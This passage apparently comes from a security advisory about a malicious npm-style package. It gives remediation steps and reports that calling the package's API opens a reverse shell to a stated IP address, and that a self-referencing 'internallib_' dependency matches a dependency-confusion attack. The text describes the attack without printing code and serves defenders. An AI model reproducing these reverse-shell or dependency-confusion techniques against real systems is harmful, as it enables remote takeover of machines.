If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4.

Invoking the exported API opens an interactive reverse shell from the installer's host back to 10.0.75.246:443, giving that endpoint arbitrary command execution on the installer's machine. The package also declares a self-referential dependency on `internallib_v788` with an `internallib_` naming prefix, matching the structural shape of a dependency-confusion artifact targeting a private internal registry name.\n\nAny computer that has this package installed or running should be considered fully compromised.
